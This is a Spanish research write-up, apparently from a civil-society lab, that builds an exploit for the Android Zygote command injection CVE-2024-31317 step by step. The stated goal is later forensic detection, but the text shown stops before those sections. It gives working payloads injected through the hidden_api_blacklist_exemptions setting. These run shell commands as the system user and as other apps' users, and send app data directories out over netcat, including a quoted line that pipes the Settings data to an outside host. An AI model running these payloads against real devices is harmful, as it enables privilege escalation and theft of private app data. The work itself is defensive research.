--[ Experimento 0x01: Escribir un exploit para Android (CVE-2024-31317) e intentar detectarlo ]--
Por: Andrés y Angie de ZoqueLabs para el K+Lab de la Fundación KarismaPRECAUCION: Este escrito contiene código que puede dañar total o parcialmente un dispositivo, recomendamos usarlo con extrema precaución en hardware.
Este escrito se distribuye con una licencia Creative Commons CC BY-SA (Reconocimiento - Compartir Igual)
English version
-[ ToC: ]-
0x01 Saludos. 0x02 La vulnerabilidad. 0x03 Set up. 0x04 Te veo, Zygote. 0x05 Primeras exploraciones. 0x06 Definir el blanco. 0x07 Primera version del exploit. 0x08 Android > 11. 0x09 El Androide paranoide. 0x0a Siguiendo el rastro del exploit. 0x0b Analizar los resultados para encontrar IOCs. 0x0c MVT y nuestros indicadores. 0x0d Haciendo un módulo para mvt-android. 0x0e Eso es todo, por ahora.
-[ 0x01 Saludos. }-
Hola. Este es un experimento consiste, como en el experimento anterior, en analizar una vulnerabilidad conocida en Android, entenderla e intentar explotarla, para luego tratar de encontrar rastros del exploit que (ojalá) puedan servir en investigaciones forenses futuras.
De cualquier forma, este experimento es una exploración y un ejercicio de aprendizaje sobre Android y sus entrañas. También pretende acercarnos a la visión ofensiva de la seguridad, que es fundamental para identificar las técnicas, tácticas y procedimientos de los actores maliciosos a los que podríamos enfrentarnos.
La asimetría en recursos y capacidades técnicas entre las organizaciones de la sociedad civil (con algunas excepciones) y los actores maliciosos que buscamos contener es enorme. Este tipo de ejercicios son un esfuerzo por intentar acortar esa brecha y aumentar nuestras posibilidades de defensa con cierto grado de autonomía.
En este experimento intentamos crear un exploit funcional. No solo queríamos probar que la vulnerabilidad existe, sino también imitar lo que un exploit in the wild haría: ir más allá de una simple prueba de concepto. Esto resultó ser más complicado de lo que pensábamos, pero de una manera satisfactoria, ya que nos obligó a esquivar las defensas adicionales de Android para lograr hacer algo de verdad.
Igualmente, buscamos entender mejor las herramientas que usamos en nuestros análisis, en especial MVT, e intentaremos dar algunas luces sobre cómo contribuir a este proyecto.
La idea de este documento es que quien lo lea pueda reproducir el experimento y adentrarse un poco en los sistemas internos de Android. Que entienda cómo podría lucir y funcionar un exploit para este sistema operativo. Principalmente, queremos animar a las personas a tomar iniciativas de este tipo, donde la investigación y su difusión sean una escuela para todes.
Esperamos que disfruten este escrito tanto como nosotros disfrutamos hacer todo el experimento.
¡Sin más formalismos, vamos!
-[ 0x02 La vulnerabilidad. }-
CVE-2024-31317 es un command injection en Zygote que afecta las versiones 11, 12, 13 y 14 de Android con nivel de parche anterior a junio de 2024.
Esta vulnerabilidad, descubierta por Tom Hebb de Meta y parchada en el boletín de seguridad de Android de junio de 2024 se activa al actualizar o definir una variable global (global setting) de Android llamada hidden_api_blacklist_exemptions
. Resulta que el valor que se le asigne a esta variable (más adelante explicaremos cómo) se pasa a Zygote por medio de otro servicio de Android llamado system server, a través de un socket.
Normalmente, system server envía comandos a Zygote para “abrir aplicaciones”. Por ejemplo, cuando tocamos el ícono de Google Chrome en la pantalla del celular, internamente system server capta la señal de que queremos abrir Chrome y envía un comando a Zygote indicándole que lo arranque, junto con varios parámetros y argumentos. Eso termina mostrando la ventana de Chrome en el teléfono, con la aplicación lista para funcionar.
Aunque ese tipo de comandos son los más comunes entre system server y Zygote, no son las únicas interacciones entre estos dos procesos. Por ejemplo, cuando la variable hidden_api_blacklist_exemptions
cambia de valor, system server lo detecta y le pasa esa información a Zygote para que actúe de acuerdo al nuevo valor.
La vulnerabilidad se basa en que system server no valida si el valor de la variable es correcto, ni revisa si contiene caracteres especiales. Esto permite “escribir” un comando dentro de la variable, que system server pasará tal cual a Zygote, y Zygote lo ejecutará gustosamente. Es decir, si se tiene control sobre la variable hidden_api_blacklist_exemptions
, es posible escribir comandos que Zygote entienda (dentro de esa variable), y Zygote los ejecutará.
Parece una vulnerabilidad fácil de explotar, y por eso decidimos explorarla en este experimento. Al menos no implica race conditions en memoria, que seguramente nos complicarían más. Sin embargo, lograr hacer algo útil con esta vulnerabilidad no es tan fácil como parece sobre el papel. No solo por las limitaciones propias de la vulnerabilidad, sino también por la seguridad en profundidad que tiene Android, y que complica aún más las cosas.
Pero vamos por partes.
Qué es Zygote y cuál es el lío
Zygote es un proceso especial de Android cuya función principal es arrancar aplicaciones. Normalmente lo hace bajo órdenes de otro proceso llamado system server. Estos dos procesos se comunican a través de un socket estilo Unix, que es básicamente un archivo donde se pueden leer y escribir datos para enviarse mensajes mutuamente. Lo que system server escriba en ese archivo, Zygote lo lee, lo interpreta y lo ejecuta.
Los comandos que se envían por este canal no son comandos comunes de bash, sino instrucciones especiales que solo entiende Zygote. Por ejemplo, cuando se abre una aplicación en el teléfono, system server le indica a Zygote qué Actividad debe abrir (el entry point de la app), bajo qué usuario y grupo del sistema debe ejecutarse, la versión mínima del SDK, los contextos de SELinux, rutas de los directorios de la aplicación, etc. Con esta información, Zygote se encarga de arrancar la app en el sistema.
Zygote corre como root y controla qué usuario ejecuta qué aplicación. Así que si logramos controlar este proceso, podríamos ejecutar comandos de Zygote (y, como veremos más adelante, también comandos de bash) en nombre de cualquier usuario del sistema (excepto root), lo cual nos da un control bastante privilegiado del teléfono.
Es importante tener en cuenta que normalmente no podemos leer ni escribir directamente en el socket que conecta a system server con Zygote. De hecho, el único proceso con permiso para escribir en ese socket es el propio system server.
La variable global hidden_api_blacklist_exemptions
Primero, una aclaración: decirle variable global no es del todo preciso, pero en inglés se llama global setting y como esa traducción no suena muy bien, seguiremos llamándola variable global.
Android tiene una larga lista de variables globales. Se pueden ver desde la shell de adb con este comando:
adb shell settings list global
. hidden_api_blacklist_exemptions es una de ellas. En nuestra experiencia, nunca la hemos encontrado inicializada por defecto. No hicimos un gran esfuerzo por entender completamente para qué sirve esta variable, porque es irrelevante para explotar la vulnerabilidad. Pero en resumen, tiene que ver con unas restricciones que impone Android para evitar que las apps usen interfaces privadas de versiones viejas del SDK. Si te da curiosidad, puedes leer más en la documenacion de Android al respecto.
Ahora sí, lo que sí nos importa:
-
system server monitorea esta variable constantemente para ver si cambia o se inicializa. Si detecta un cambio, le pasa ese valor a Zygote para que actualice su comportamiento. Y acá está el truco: system server le pasa el valor casi literalmente a Zygote. Entonces, si logramos meter un comando de Zygote en esta variable… ¡bam! Podemos hacer que Zygote ejecute lo que queramos.
-
El problema es que esta variable no se puede cambiar tan fácilmente. Hay tres formas de hacerlo:
-
A través de una app privilegiada que tenga el permiso WRITE_SECURE_SETTINGS (como la app de Ajustes, Configuración o Settings). Solo las apps del sistema o preinstaladas por el fabricante (Samsung, Huawei, etc.) tienen ese permiso. Para aprovechar esto, necesitaríamos encontrar una vulnerabilidad en una de esas apps, o ser el fabricante del teléfono. Bastante complicado.
-
Usando una etiqueta especial en el Manifest de una aplicación, que contiene el valor de la variable firmado con una llave privada controlada por Google. Si el sistema ve una app firmada así, actualiza la variable automáticamente. Pero como no tenemos las llaves privadas de Google, esta tampoco es una opción.
-
Con acceso por adb, que tiene un comando que permite cambiar la variable directamente:
settings put global hidden_api_blacklist_exemptions [valor]
Así que para explotar esta vulnerabilidad, necesitamos acceso físico al teléfono y acceso a adb
.
Escalar privilegios
Si un atacante tiene acceso a adb
, ya ha logrado un nivel de acceso muy importante: básicamente tiene el teléfono desbloqueado. Tanto así, que puede acceder a las opciones de desarrollador y activar las configuraciones necesarias para conectar el teléfono a una computadora. Sin embargo, este nivel de acceso no es suficiente para realizar ciertas acciones. Si el atacante quisiera, por ejemplo, extraer todas las conversaciones de WhatsApp o todo el historial de navegación de Chrome, tendría que usar la interfaz gráfica, tomar capturas de pantalla o intentar hacer backups y luego compartirlos con otra aplicación. Todo esto sería muy ruidoso y poco práctico.
Por otro lado, aunque adb
otorga acceso privilegiado al sistema, no permite leer ni escribir en los directorios de otras aplicaciones. Esto se debe al modelo de seguridad de Android, que se basa fuertemente en la separación de aplicaciones (Android App Isolation) o, como también se le llama, el sandboxing. Es decir, que al nivel del sistema operativo, cada aplicación está completamente separada de las demás. Una app no puede leer los archivos de otra ni ver su memoria. Esto se logra principalmente haciendo que cada aplicación se ejecute con un usuario de Linux diferente: Chrome tiene su usuario, Configuración (Settings) tiene el suyo, WhatsApp también, y así sucesivamente.
Poniéndonos en la posición de un adversario tipo Cellebrite, podemos imaginar cómo esta vulnerabilidad podría ser usada por una compañía de extracciones forenses. Cellebrite, por ejemplo, incluye capacidades para romper el bloqueo de pantalla del teléfono y, si lo logra, a partir de ahí necesita escalar privilegios para continuar con la extracción de la mayor cantidad posible de información.
Otros actores maliciosos podrían usar esta vulnerabilidad para escribir en los directorios de aplicaciones, reemplazando archivos ejecutables con otros infectados con malware — por ejemplo, un implante que exfiltre conversaciones de WhatsApp o la localización en tiempo real del teléfono. En una investigación reciente del Laboratorio de Seguridad Digital de Amnesty Internacional sobre el uso de Cellebrite en conjunto con un malware desarrollado por una agencia de seguridad serbia, se puede ver cómo este modelo de amenazas no es descabellado y cómo una vulnerabilidad como esta podría potenciar ataques de vigilancia contra activistas y periodistas.
Por último, esta vulnerabilidad también podría ser un eslabón dentro de una cadena de exploits. Por ejemplo, si una aplicación privilegiada puede ser explotada remotamente, se podría usar esta vulnerabilidad para romper el sandbox y acceder al contenido de otras aplicaciones.
Dificultades en la explotación universal
Con explotación universal nos referimos a construir un exploit que funcione en todos los sistemas vulnerables (es decir, dispositivos Android entre las versiones 11 y 14 con nivel de parche anterior a junio de 2024). Sin embargo, aunque la vulnerabilidad es la misma, la manera en que se puede explotar cambia, sobre todo entre Android 11 y versiones posteriores. Esto se debe a que, a partir de Android 12, Zygote lee el socket de forma distinta.
En Android 11, Zygote procesa el socket línea por línea. Para esta vulnerabilidad, lo que sucede es que Zygote encuentra primero el comando que indica que hidden_api_blacklist_exemptions
ha cambiado. Si dentro de ese nuevo valor hay un comando válido de Zygote inyectado, lo va a leer y ejecutar sin mayor resistencia.
Pero desde Android 12 en adelante, el comportamiento cambia: cuando Zygote recibe un comando, descarta automáticamente todo lo que venga después que no forme parte de ese comando original. En este caso, leería únicamente el cambio en hidden_api_blacklist_exemptions
, pero ignoraría cualquier comando inyectado que venga después.
Entonces, el reto está en lograr que ese comando inyectado no llegue en la misma lectura original, sino que entre en la siguiente lectura del socket, de primero. Esta es una de las partes más complicadas de este exploit, y la exploraremos en detalle más adelante en este escrito.
Persistencia
Un detalle muy interesante de esta vulnerabilidad es que tiene potencial para permitir persistencia, es decir, que un malware o implante sobreviva al reinicio del dispositivo y se vuelva a ejecutar automáticamente cuando el teléfono se encienda de nuevo.
Esto se logra dejando hidden_api_blacklist_exemptions
con el valor malicioso. Una vez el teléfono arranca otra vez, el system server vuelve a reportar esa variable a Zygote, y en teoría, el código debería ejecutarse de nuevo.
Durante nuestras pruebas, verificamos esta propiedad y los resultados fueron mixtos: el comando sí logra ejecutarse tras el reinicio, pero el teléfono queda completamente inusable. Dañado. Kaput.
No estamos solos
Tom Hebb, descubridor de esta vulnerabilidad (y también de la del experimento anterior), escribió un artículo muy completo explicando la vulnerabilidad y su explotabilidad, que recomendamos leer si se quieren entender todos los detalles técnicos.
Igualmente, alguien bajo el alias Flanker017 escribió un excelente post titulado:
“The Return of Mystique? Possibly the most valuable userspace Android vulnerability in recent years: CVE-2024-31317”, donde explica (de forma muy gráfica) más detalles de la vulnerabilidad y otras formas posibles de explotación.
Estas dos publicaciones fueron fundamentales para el desarrollo de este experimento y sirvieron como guía para la elaboración del exploit resultante. Sin embargo, hay más publicaciones interesantes sobre esta vulnerabilidad, y de cada una de ellas aprendimos algo durante el proceso:
- CVE-2024-31317 (fuhei) (traducción del chino)
- CVE-2024-31317 Zygote command injection privilege escalation system analysis (LLeavesg) (traducción del chino)
- Exploiting Android Zygote Injection (CVE-2024–31317) (David de Villiers)
Además de estos blogs más formales, también hay discusiones interesantes en algunos gists de GitHub:
Estos gists se vienen actualizando desde enero de 2025 y continúan activos hasta hoy (abril de 2025). En ellos se discute desde lo más básico de la explotación hasta temas más complejos como arrancar servicios privilegiados o copiar archivos .dex
para insertar código. Vale mucho la pena revisarlos.
Menos charla y más acción
Esta vulnerabilidad y su explotación tienen muchos detalles que deben ser entendidos para lograr un exploit medianamente estable. La explicación anterior sigue siendo superficial, pero la idea de este escrito es que vayamos descubriendo esos detalles a medida que avanzamos en nuestra meta de construir un exploit funcional.
De cualquier forma, para entender en profundidad todo el proceso, es importante revisar las referencias mencionadas en la sección anterior.
Bajo la premisa de que no se aprende a hackear, sino que se hackea para aprender, vamos a la acción.
-[ 0x03 Set up. }-
Nada del otro mundo.
Vamos a necesitar dos emuladores, uno con Android 11 (API 30) y otro con Android 12 (API 31), rooteados. Nosotros escogimos una versión de Pixel 4a que viene con Android Studio. Luego podemos instalar las versiones restantes sin root para probar el exploit.
El segundo requerimiento es tener Python y adb
instalados en el compu de trabajo.
¡Eso es todo!
Nota: Este experimento fue hecho en Linux. Suponemos que el proceso en Mac o Windows no debería diferir mucho.
-[ 0x04 Te veo, Zygote. ]-
Por el artículo de Tom Hebb sabemos que los comandos de Zygote lucen así:
8 [command #1 arg count]
--runtime-args [arg #1: vestigial, needed for process spawn]
--setuid=10266 [arg #2: process UID]
--setgid=10266 [arg #3: process GID]
--target-sdk-version=31 [args #4-#7: misc app parameters]
--nice-name=com.facebook.orca
--app-data-dir=/data/user/0/com.facebook.orca
--package-name=com.facebook.orca
android.app.ActivityThread [arg #8: Java entry point]
3 [command #2 arg count]
--set-api-denylist-exemptions [arg #1: special argument, don't spawn process]
LClass1;->method1( [args #2, #3: denylist entries]
LClass1;->field1:
Acá podemos ver que hay dos comandos: el primero abre una app y el segundo tiene que ver con la asignación de la variable hidden_api_blacklist_exemptions
(--set-api-denylist-exemptions
).
Cada comando es precedido por un número (8 y 3) que corresponde al conteo de argumentos del comando. Si contamos las líneas bajo los números, vemos que coinciden. Podemos decir que Zygote primero lee el número y luego lee ese número de líneas para formar el comando y procesarlo, luego lee otro número y repite el proceso.
Notemos que el primer comando corresponde a abrir la app de Facebook y que en los argumentos se especifica con qué usuario y grupo debe correr esta aplicación (--setuid
y --setgid
). Esto es fundamental en este exploit porque ese argumento es el que nos va a permitir ejecutar código a nombre de cualquier usuario.
Pero ¿cómo podemos ver lo que sucede entre system server y Zygote en tiempo real?
En uno de los gists mencionados anteriormente, alguien explica un método modificando el código de Android para que muestre los argumentos de los comandos en logcat… Interesante, pero nosotros encontramos un método mucho más sencillo (afortunadamente).
strace
es un comando que viene en la shell de adb
y que permite interceptar y leer las system calls que realiza un proceso. Por ejemplo, podemos ver cuándo un proceso lee o escribe un archivo o un socket. Justo lo que necesitamos.
El único argumento necesario para hacer funcionar strace
es el ID de un proceso (PID).
Prendemos nuestro emulador de Android 11, entramos a la shell con adb shell
, nos hacemos root con el comando su
y buscamos el ID del proceso de Zygote: ps -A | grep Zygote
.
$ adb shell
generic_x86_arm:/ $ su
generic_x86_arm:/ # ps -A | grep zygote
root 283 1 1838376 113024 do_sys_poll 0 S zygote
webview_zygote 751 283 1773984 57264 do_sys_poll 0 S webview_zygote
generic_x86_arm:/ #
Para nuestro caso, el PID de Zygote es 283. Sabiendo esto, podemos monitorear todas las syscalls de Zygote y ver qué syscall tiene los datos del comando. Para esto, vamos al emulador, cerramos todas las aplicaciones y ponemos a strace
a escuchar en el proceso de Zygote así: strace -p 283
. Luego vamos al emulador y abrimos, por ejemplo, Chrome.
Obtenemos un output largo, donde cada línea corresponde a una syscall que usa Zygote en su funcionamiento. Cerca del principio hay una línea interesante:
recvmsg(5, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="19\n--runtime-args\n--setuid=10128"..., iov_len=8192}], msg_iovlen=1, msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, MSG_CTRUNC|MSG_TRUNC|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 595
Podemos ver un pedacito de comando: "19\n--runtime-args\n--setuid=10128"...
. Además, podemos ver que la syscall que lo contiene es recvmsg
.
Si refinamos nuestro comando para solo ver cuando Zygote llame a recvmsg
y para que no se corte la información, podremos ver el comando completo. Al final obtenemos algo que luce así:
strace -s 2000 -e trace=recvmsg -p [zygote_pid]
Veremos que si repetimos el proceso anterior y abrimos Chrome, vamos a ver el comando completo, además de un dato muy importante: la cantidad de bytes que lee Zygote de un solo sorbo. Esto será importante cuando tengamos que lidiar con Android > 11. Ver los comandos completos es un avance importante en este experimento. Por ejemplo, poder ver el conteo de argumentos va a ser clave cuando hidden_api_blacklist_exemptions
entre en juego.
En Android 12 en adelante, la syscall cambia. Después de repetir el proceso anterior pero en el emulador con Android 12, y con un detallito para no andar copiando y pegando el PID de Zygote, terminaremos con un comando así:
strace -s 12200 -e trace=read -p "$(ps -A | grep zygote64 | awk '{print $2}')"
Con este par de comandos tenemos suficiente para poder ver lo que entra a Zygote y continuar con la exploración de esta vulnerabilidad. Recomendamos jugar con ellos, abrir aplicaciones, notar los cambios, etc. Esto nos dará una visión más profunda de cómo se comunica system server con Zygote.
-[ 0x05 Primeras exploraciones. ]-
Para cambiar el valor de hidden_api_blacklist_exemptions
, solo hace falta usar el comando settings
de adb shell
de la siguiente manera:
settings put global hidden_api_blacklist_exemptions [valor de la variable]
Flanker017 nos da una prueba de concepto rápida que podemos probar en Android 11:
settings put global hidden_api_blacklist_exemptions "LClass1;->method1(
3
--runtime-args
--setuid=1000
--setgid=1000
1
--boot-completed"
Si pegamos este comando en la shell de adb
, solo conseguiremos dejar el teléfono en un estado inusable. Es posible que esto ocurra muchas veces durante este experimento. A veces se arregla reiniciando el emulador, y otras veces hay que restaurarlo por completo (usando la opción “wipe data”) para que funcione de nuevo.
De cualquier forma, ese bloqueo indica que algo pasó, pero no llegó a buen término, ya que el teléfono se bloqueó y no pudimos ver ninguna evidencia de que los comandos se hubieran ejecutado.
El mismo Flanker017 nos da pistas más adelante en su artículo cuando habla de los métodos de explotación y encuentra un argumento que será clave en nuestro exploit: --invoke-with
.
Este argumento permite pasar un comando de bash que será usado por Zygote antes de lanzar la aplicación. Como en un buen command injection, podemos ejecutar varios comandos a la vez separándolos con punto y coma (;
) y terminar con #
para comentar cualquier cosa que Zygote agregue después.
Esto luce prometedor.
El write-up de LLeavesg nos da otra prueba de concepto más completa, veamos:
8
--setuid=1000
--setgid=1000
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=30:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
echo "$(id; cd /data/data/com.android.settings ; pwd; ls -al)" | nc xxx xxx; #
,,,,X
Analicemos esta payload:
- Vemos que hay varias líneas vacías al principio y unas comas con una “X” al final. Esto lo analizaremos más adelante porque es importante en la explotación de Android 12 en adelante.
- Podemos ver que el usuario y el grupo que se le asignan al comando es
1000
. Normalmente en Android el usuario1000
corresponde a system, que es un usuario muy privilegiado y bajo el que corre la aplicación settings. - Se indica información de SELinux con el argumento
--seinfo
y podemos notar que se usa el contexto"privapp"
. - Tenemos
--runtime-flags=1
, que parece ser importante para que funcione--invoke-with
. - El argumento
--nice-name=zYg0te
nos puede ayudar en el futuro a localizar en logcat las salidas de los comandos que invoquemos con el exploit. - Por último está
--invoke-with
con un comando muy interesante, porque no solo trata de listar el directorio de la aplicación settings, sino que redirecciona la salida del comando anetcat (nc)
para poder ver esa salida desde otra terminal que esté escuchando connc
.
Para inyectar este tipo de payloads, solo debemos:
- Guardar la payload en un archivo de texto.
- Copiarlo al directorio
/data/local/tmp/
del emulador. - Actualizar la variable con el siguiente comando:
settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload.txt)"
Cambia el nombre del archivo si usaste otro distinto a
payload.txt
.
Modificación sugerida por LLeavesg
Por sugerencia de LLeavesg, vamos a reemplazar el comando de --invoke-with
por:
/system/bin/logwrapper echo zYg0te $(id);
Este comando nos permitirá filtrar logcat
por zYg0te
y verificar si el comando id
se ejecuta correctamente.
Nuestro archivo con la payload (que llamaremos payload_1.txt
) quedaría así:
8
--setuid=1000
--setgid=1000
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=30:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
/system/bin/logwrapper echo zYg0te $(id); #
,,,,X
Para subirlo al emulador, usamos:
adb push payload_1.txt /data/local/tmp/
Monitorear con strace
Luego, antes de ejecutar el comando settings put global ...
, en una terminal aparte podemos usar strace
para ver lo que lee Zygote
Esto nos permitirá observar si Zygote interpreta nuestra payload y si logra ejecutar el comando embebido.
Ya con todo listo, el comando para disparar la vulnerabilidad sería:
settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload_1.txt)
En la salida de strace
podemos ver lo siguiente:
recvmsg(5, {msg_name=NULL, msg_namelen=0, msg_iov=[{iov_base="6\n--set-api-blacklist-exemptions\n\n\n\n\n\n8\n--setuid=1000\n--setgid=1000\n--runtime-args\n--seinfo=platform:privapp:targetSdkVersion=30:complete\n--runtime-flags=1\n--nice-name=zYg0te\n--invoke-with\n/system/bin/logwrapper echo zYg0te $(id); #\n\n\n\n\nX\n", iov_len=8192}], msg_iovlen=1, msg_controllen=0, msg_flags=MSG_CMSG_CLOEXEC}, MSG_CTRUNC|MSG_TRUNC|MSG_NOSIGNAL|MSG_CMSG_CLOEXEC) = 239
--- SIGCHLD {si_signo=SIGCHLD, si_code=CLD_EXITED, si_pid=6644, si_uid=1000, si_status=0, si_utime=1, si_stime=0} ---
¡Wow! Vemos que efectivamente a Zygote le entró nuestro comando. Además, podemos notar que el system server colocó un “6” en el conteo de argumentos para el cambio de hidden_api_blacklist_exemptions
, luego aparece una línea en blanco (“\n”) y después la directriz “–set-api-blacklist-exemptions”.
Después vienen seis líneas en blanco, cinco de las cuales corresponden a las que están en el archivo con la payload, y finalmente el número 8, que es el inicio de nuestro comando inyectado.
Todo parece correcto, pero si intentamos revisar logcat
para ver la salida del comando con:
logcat | grep zYg0te
no sucede nada, no aparece nada. Además, si vamos a la pantalla del teléfono en el emulador, las aplicaciones no funcionan y el teléfono queda inusable.
Afortunadamente, hemos leído varias veces todas las referencias públicas sobre esta vulnerabilidad y en una de ellas, en algún comentario, alguien menciona que es importante remover hidden_api_blacklist_exemptions
o esto pasará. Nosotros simplemente pondremos su valor en “null” y veremos qué sucede.
Al final, todo el proceso se vería así:
$ adb push payload_1.txt /data/local/tmp/
$ adb shell
generic_x86_arm:/ $ settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload_1.txt)"
generic_x86_arm:/ $ settings put global hidden_api_blacklist_exemptions null
generic_x86_arm:/ $ logcat | grep zYg0te
04-15 19:27:35.810 5578 5578 W zYg0te : Unexpected CPU variant for X86 using defaults: x86
04-15 19:27:35.829 5597 5597 I echo : zYg0te uid=1000(system) gid=1000(system) groups=1000(system),1065(reserved_disk),3009(readproc) context=u:r:system_app:s0
^C
130|generic_x86_arm:/ $
¡Ahí está! El comando se ejecutó y podemos ver claramente que se ejecutó como system. Her-mo-so.
¿Y el teléfono? Bien, gracias. Solo se ranguea un poco al principio, pero luego sigue funcionando con normalidad.
Hasta aquí hemos probado que la vulnerabilidad existe en Android 11, logramos ejecutar un comando bash y ver su salida, y conseguimos que el teléfono no quedara inusable después de la explotación.
Pero, como dijimos al principio, nuestra idea es ir más allá, consiguiendo que el exploit haga algo “real” y lograr una “explotabilidad universal”. Este es un paso importante, pero solo es el principio.
-[ 0x06 Definir el blanco. ]-
Como vimos antes, explotar esta vulnerabilidad podría permitir dos acciones fundamentales: implantar malware o extraer información.
Decidimos que nuestro exploit hará lo segundo: extraer información de la aplicación que se le indique. Por ejemplo, si se le indica que extraiga com.android.chrome
, el exploit extraerá el directorio completo de esa aplicación.
Tomando control
Para empezar a pensar en cómo extraer información de forma eficiente, exploremos un poco más lo que podemos hacer con la payload que ya tenemos.
En la sección anterior vimos que la payload original de LLeavesg tiene un comando que redirecciona la salida a una conexión con netcat (nc
). La modificamos para que netcat se conecte a localhost (127.0.0.1) en el puerto 31337:
echo "$(id; cd /data/data/com.android.settings ; pwd; ls -al)" | nc 127.0.0.1 31337 ; #
Podemos modificar nuestra payload (en nuestro caso payload_1.txt
) y subirla de nuevo al emulador.
Antes de ejecutar el comando que dispara la vulnerabilidad (settings put global ...
), debemos poner otra instancia de netcat a escuchar conexiones en el puerto 31337. Esto podemos hacerlo por fuera de la shell de adb
, ejecutando el siguiente comando desde una terminal en nuestro computador:
adb shell nc -l -p 31337
Luego, desde la shell de adb
, ejecutamos el comando que dispara la vulnerabilidad, volvemos a dejar la variable en null
y vemos qué pasa en la terminal que tiene netcat escuchando:
$ adb shell nc -l -p 31337
uid=1000(system) gid=1000(system) groups=1000(system) context=u:r:system_app:s0
/data/data/com.android.settings
total 44
drwx------ 4 system system 4096 2025-04-15 19:24 .
drwxrwx--x 203 system system 12288 2025-04-15 19:24 ..
drwxrws--x 2 system system 4096 2025-04-15 19:24 cache
drwxrws--x 2 system system 4096 2025-04-15 19:24 code_cache
lrwxrwxrwx 1 root root 37 2025-04-15 19:24 lib -> /system_ext/priv-app/Settings/lib/x86
$
¡Bien! Podemos ver la salida del comando id
, luego pwd
, que muestra que efectivamente entramos al directorio de la aplicación Settings, y la salida de ls -al
en ese directorio.
Algo muy importante: vimos esta salida en una terminal de nuestro computador. Eso quiere decir que estamos extrayendo información de una manera muy básica, pero al menos tenemos una ventana entre el sandbox de la aplicación y nuestro equipo.
Hasta acá tenemos un proceso mediante el cual podemos inyectar comandos y ver su salida (proceso de explotación):
- Modificar el archivo con la payload con el comando que queramos ejecutar redireccionando su salida a
nc 127.0.0.1 31337
.
1.1. Subir el archivo al emulador:adb push payload_1.txt /data/local/tmp/
- En una terminal del computador, poner a netcat a escuchar en el puerto 31337:
adb shell nc -l -p 31337
- En la shell de
adb
, ejecutar el comandosettings
para disparar el exploit:settings put global hidden_api_blacklist_exemptions "$(cat /data/local/tmp/payload_1.txt)"
- Dejar la variable
hidden_api_blacklist_exemptions
ennull
:settings put global hidden_api_blacklist_exemptions null
Nota:En nuestra experiencia, no siempre al ejecutar el comando settings
para explotar la vulnerabilidad se obtiene la salida; a veces hay que intentarlo de nuevo para que funcione. Además, es importante, después de cada intento de explotación, ir a la pantalla del teléfono y abrir/cerrar alguna aplicación (cualquiera) para que Zygote se sincronice de nuevo.
Volviéndonos cualquier aplicación
Ya podemos volvernos system (usuario 1000), pero ¿qué pasa con las demás aplicaciones? ¿Funciona igual nuestro exploit?
Lo primero es averiguar qué usuario pertenece a qué aplicación y así poder asignarlo en el comando (de Zygote) inyectado. Encontramos que dumpsys
funciona para esta tarea. Averiguar el usuario de Chrome se vería así:
generic_x86_arm:/ $ dumpsys package com.android.chrome | grep userId=
userId=10128
generic_x86_arm:/ $
Debemos modificar nuestra payload cambiando los argumentos --setuid
y --setgid
para que ahora valgan 10128
y cambiar el directorio que listaremos por el de Chrome, para nuestro caso /data/data/com.android.chrome/
. Después de los cambios, nuestra payload quedaría así:
8
--setuid=10128
--setgid=10128
--runtime-args
--seinfo=platform:privapp:targetSdkVersion=30:complete
--runtime-flags=1
--nice-name=zYg0te
--invoke-with
echo "$(id; cd /data/data/com.android.chrome ; pwd; ls -al)" | nc 127.0.0.1 31337 ; #
,,,,X
Si hacemos el proceso de explotación correctamente, la salida del comando se verá así:
$ adb shell nc -l -p 31337
uid=10128(u0_a128) gid=10128(u0_a128) groups=10128(u0_a128),1065(reserved_disk),3009(readproc) context=u:r:platform_app:s0:c512,c768
/
$
Se muestra la salida de id
, pero pwd
muestra el directorio raíz (/
) y no hay salida para ls -al
. Hmm…
Si filtramos logcat
con el nombre de la aplicación vemos esto:
generic_x86_arm:/ $ logcat | grep com.android.chrome
.... mucha información
.... mucha información
.... mucha información
.... mucha información...
04-17 17:07:52.452 13649 13649 W sh : type=1400 audit(0.0:2616): avc: denied { search } for name="com.android.chrome" dev="dm-5" ino=123242 scontext=u:r:platform_app:s0:c512,c768 tcontext=u:object_r:app_data_file:s0:c128,c256,c512,c768 tclass=dir permissive=0 app=com.android.chrome
04-17 17:07:52.452 13649 13649 W sh : type=1400 audit(0.0:2617): avc: denied { read } for name="/" dev="dm-4" ino=2 scontext=u:r:platform_app:s0:c512,c768 tcontext=u:object_r:rootfs:s0 tclass=dir permissive=0 app=com.android.chrome
^C
130|generic_x86_arm:/ $
Lo que vemos aquí son un par de denegaciones de SELinux a lo que parecen ser dos acciones: search
y read
.
Si el problema es con SELinux, recordemos que dentro de nuestra payload hay un argumento que lidia con eso. Cuando pudimos ver los comandos de Zygote con strace
, capturamos uno de Chrome. Si revisamos ese comando podemos ver que ese argumento tiene un valor diferente al que tenemos en nuestra payload:
--seinfo=default:targetSdkVersion=30:complete
Notemos que el valor original (-seinfo=platform:privapp:targetSdkVersion=30:complete
) especifica los contextos “platform” y “privapp”, que son correctos para Settings porque es una aplicación de la plataforma y es una aplicación privilegiada, pero Chrome no. Para Android, Chrome es una aplicación mucho menos privilegiada que Settings y su contexto es “default”.
Cambiemos entonces el valor de --seinfo
por el correcto para Chrome y probemos de nuevo:
$ adb shell nc -l -p 31337
uid=10128(u0_a128) gid=10128(u0_a128) groups=10128(u0_a128),1065(reserved_disk),3009(readproc) context=u:r:untrusted_app:s0:c128,c256,c512,c768
/data/data/com.android.chrome
total 108
drwx------ 12 u0_a128 u0_a128 4096 2025-04-17 17:42 .
drwxrwx--x 203 system system 12288 2025-04-15 19:24 ..
drwx------ 14 u0_a128 u0_a128 4096 2025-04-17 17:43 app_chrome
drwxrwx--x 3 u0_a128 u0_a128 4096 2025-04-17 17:42 app_dex
drwxrwx--x 3 u0_a128 u0_a128 4096 2025-04-17 17:42 app_tabs
drwxrwx--x 2 u0_a128 u0_a128 4096 2025-04-15 19:24 app_textures
drwxrws--x 7 u0_a128 u0_a128_cache 4096 2025-04-17 17:42 cache
